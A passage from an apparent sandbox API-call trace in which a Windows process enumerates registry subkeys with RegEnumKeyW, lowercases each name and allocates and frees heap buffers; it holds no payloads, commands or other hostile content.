cchName=0x104 | out: lpName="DirectX") returned 0x0 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x8ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.503] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x8eb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x8ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.503] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x8eb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.503] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x8eb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x8ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.503] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x8eb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0259.503] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.504] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x8eb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x8ec0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.504] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x8eb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.504] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x8eb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x8ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.504] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.504] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x8eb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.504] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.505] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x8eb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x8ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.505] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x8eb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.505] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x8eb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x8ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.505] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.505] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x8eb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0259.505] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x8ec120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.506] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x8eb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x8ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.506] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x8eb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.506] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x8eb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x8ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0259.506] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.506] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.506] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x8eb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.507] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x8eb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x8ec0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.507] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x8eb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x8ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.507] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x8eb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x8ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0259.507] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.507] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.507] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x8eb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x8ec120, cbMultiByte=5, 